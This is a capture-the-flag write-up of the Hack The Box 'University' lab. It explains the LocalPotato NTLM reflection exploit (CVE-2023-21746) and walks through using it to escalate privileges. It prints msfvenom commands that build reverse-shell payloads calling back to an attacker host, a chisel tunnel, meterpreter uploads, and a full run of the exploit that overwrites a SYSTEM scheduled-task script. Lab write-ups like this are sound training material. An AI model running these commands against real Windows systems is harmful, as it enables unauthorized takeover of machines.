LocalPotato (CVE-2023-21746)
LocalPotato is one of the most recent findings by the original Potato exploits author. Interesting thing about LocalPotato is that it does not rely on exploiting a token privilege, rather it’s a type of NTLM reflection attack that exploits local authentication mechanisms in Windows systems to achieve arbitrary file read/write capabilities. This can be leveraged for privilege escalation, allowing an unprivileged user to gain SYSTEM-level access.
Key Concepts:
- NTLM Authentication: The exploit takes advantage of the NTLM (NT LAN Manager) authentication protocol, particularly in local authentication scenarios where both the client and server are on the same machine.
- Reserved Field Exploitation: During the NTLM authentication process, the “Reserved” field in Type 2 messages can be manipulated to swap the context between a privileged user and an unprivileged one, allowing for unauthorized access.
- Coercing Privileged Clients:
- The exploit relies on specific triggers to coerce a privileged client into authenticating through the exploit:
- BITS Service: Uses the BITS service’s attempt to authenticate as the SYSTEM user via HTTP on port 5985.
- RemotePotato0: This involves exploiting standard COM marshaling with certain CLSIDs that authenticate as SYSTEM.
- The exploit relies on specific triggers to coerce a privileged client into authenticating through the exploit:
- Challenges with Server Services:
- Initial attempts to exploit RPC services were thwarted due to mitigations against authentication relay attacks.
- The focus shifted to exploiting the SMB server, looking for scenarios where arbitrary file writes could be executed without the need for signing, which is typical for non-Domain Controller servers.
- Proof of Concept (PoC):
- The PoC was developed to demonstrate the LocalPotato exploit, simplifying the attack chain by keeping it entirely local on the victim machine.
- It manipulates NTLM messages and can convert arbitrary file writes into elevation of privilege exploits by overwriting system libraries (like printconfig.dll) or using various techniques (e.g., XPS Print Jobs, DLL hijacking).
Conclusion: The LocalPotato exploit showcases a sophisticated approach to privilege escalation by exploiting local NTLM authentication vulnerabilities. By manipulating the authentication context, it allows unprivileged users to impersonate SYSTEM-level accounts. The detailed description of triggers, exploit methods, and mitigations reflects the complexity of modern Windows security and the ongoing arms race between security measures and exploit techniques.
Exploit (LocalPotato)
PoC is available on GitHub
Compiling
PS C:\Users\tacticalgator\source\repos> git clone https://github.com/decoder-it/LocalPotato ; start LocalPotato\LocalPotato.sln
Cloning into 'LocalPotato'...
remote: Enumerating objects: 139, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (25/25), done.
remote: Total 139 (delta 12), reused 7 (delta 4), pack-reused 110 (from 1)
Receiving objects: 100% (139/139), 55.22 KiB | 1.62 MiB/s, done.
Resolving deltas: 100% (74/74), done.
Downloading the exploit repo and launching the solution file
It was initially created with toolset
v143
I will change it to v142
since I don’t have v143
installed
Build complete
Exploitaiton
meterpreter > upload LocalPotato.exe C:\\tmp\\
[*] Uploading : /home/kali/archive/htb/labs/university/LocalPotato.exe -> C:\tmp\LocalPotato.exe
[*] Completed : /home/kali/archive/htb/labs/university/LocalPotato.exe -> C:\tmp\LocalPotato.exe
Delivery complete over the meterpreter session
*Evil-WinRM* PS C:\tmp> Start-Job { & "C:\tmp\chiselx64.exe" client -v --fingerprint "DjxIsLwP6pEDK3Icff4yS+DPhrs531hjLJyiCJPwc5o=" 10.10.14.85:55555 192.168.99.1:4444:10.10.14.85:3333 }
Id Name PSJobTypeName State HasMoreData Location Command
-- ---- ------------- ----- ----------- -------- -------
5 Job5 BackgroundJob Running True localhost & "C:\tmp\chiselx64.e...
On the dc.university.htb
host, I will create another tunnel using the existing chisel server running on the Kali port 55555
.
Forwarding every inbound traffic to 192.168.99.1:4444
to Kali:3333
Failed Attempts
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.99.1 LPORT=4444 -f dll -o pe_wc-3.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: pe_wc-3.dll
Much like the original PoC, I will attempt the DLL injection to the PrintConfig.dll
file and have the instantiated the PrintNotify object load up the injected DLL
*Evil-WinRM* PS C:\tmp> whoami
university\wao
*Evil-WinRM* PS C:\tmp> hostname
WS-3
*Evil-WinRM* PS C:\tmp> upload pe_ws-3.dll
Info: Uploading /home/kali/archive/htb/labs/university/pe_ws-3.dll to C:\tmp\pe_ws-3.dll
Data: 12288 bytes of 12288 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\tmp> .\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
by splinter_code & decoder_it
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABKcAtYgopjDwjReh/YZCEZAawAAP/////F1CLTBhPm+SsAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[-] The privileged process failed to communicate with our COM Server :(
The wao
user is unable to access the SMB server due to lack of privileges.
PS C:\Windows\system32> whoami
university\martin.t
PS C:\Windows\system32> hostname
WS-3
PS C:\Windows\system32> C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.dll -o \Windows\System32\spool\drivers\x64\3\PrintConfig.dll
LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
by splinter_code & decoder_it
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABxQpdsItloxpWXQaJIXDuaAZwAAP////8uGIFsXH/LeysAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$ success
[!] SMB Create Request File failed with status code 0x103
[!] Unable to open input file: C:\tmp\pe_ws-3.dll
As the martin.t
user, the exploit was unable to open the DLL payload; C:\tmp\pe_ws-3.dll
Overwriting To Privileged Scheduled Task Script
Since the user martin.t
still cannot access one of the PowerShell scripts in the C:\Program Files\Automation-Scripts
directory, the script likely requires higher privileges, accessible only to elevated users such as administrator
or SYSTEM
.
Furthermore, as suggested by the directory naming, it’s probable that the wpad-cache-cleaner.ps1 PowerShell script runs as a scheduled background task, similar to how the get-lectures.ps1 PowerShell script processes uploaded lecture files.
With the LocalPotato’s file overwrite capability, it would be possible to replace the wpad-cache-cleaner.ps1
script. This modified script would then be executed by the background task, allowing the attacker to run arbitrary code with elevated privileges.
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.1 LPORT=4444 -f exe -o pe_ws-3.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: pe_ws-3.exe
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ cat pe_ws-3.ps1
C:\tmp\pe_ws-3.exe
The pe_ws-3.ps1
file invokes the reverse shell executable; pe_ws-3.ps1
PowerShell reverse shell was not successful. Likely due to group policy preventing direct outbound TCP connection from PowerShell scripts
meterpreter > upload pe_ws-3.ps1 C:\\tmp\\
[*] Uploading : /home/kali/archive/htb/labs/university/pe_ws-3.ps1 -> C:\tmp\pe_ws-3.ps1
[*] Completed : /home/kali/archive/htb/labs/university/pe_ws-3.ps1 -> C:\tmp\pe_ws-3.ps1
meterpreter > upload pe_ws-3.exe C:\\tmp\\
[*] Uploading : /home/kali/archive/htb/labs/university/pe_ws-3.exe -> C:\tmp\pe_ws-3.exe
[*] Completed : /home/kali/archive/htb/labs/university/pe_ws-3.exe -> C:\tmp\pe_ws-3.exe
Uploading
PS C:\Windows\system32> whoami
university\martin.t
PS C:\Windows\system32> hostname
WS-3
PS C:\Windows\system32> C:\tmp\LocalPotato.exe -i C:\tmp\pe_ws-3.ps1 -o "\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
by splinter_code & decoder_it
[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAAAjXonVE8UvUxS+7yU6hXh6ASgAAP////9847EVTEErzSsAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$ success
[+] SMB Create Request File: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Write Request file: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Close File success
[+] SMB Tree Disconnect success
Executing LocalPotato to overwrite the “stager” file, pe_ws-3.ps1
, to C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1
*Evil-WinRM* PS C:\tmp> ls .\pe_ws-3.ps1 ; ls "C:\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
Directory: C:\tmp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2024 5:15 PM 19 pe_ws-3.ps1
Directory: C:\Program Files\Automation-Scripts
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/2/2024 5:15 PM 19 wpad-cache-cleaner.ps1
They both have the same size. This confirms that the exploit was a success
┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ nnc 3333
listening on [any] 3333 ...
connect to [10.10.14.85] from (UNKNOWN) [10.10.14.85] 32984
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
whoami
ws-3\administrator
C:\Windows\system32> hostname
hostname
WS-3
C:\Windows\system32> ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet 3:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::349:6988:18c6:65c6%8
IPv4 Address. . . . . . . . . . . : 192.168.99.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
System Level Compromise on the ws-3.university.htb
host via chaining LocalPotato exploit with a scheduled task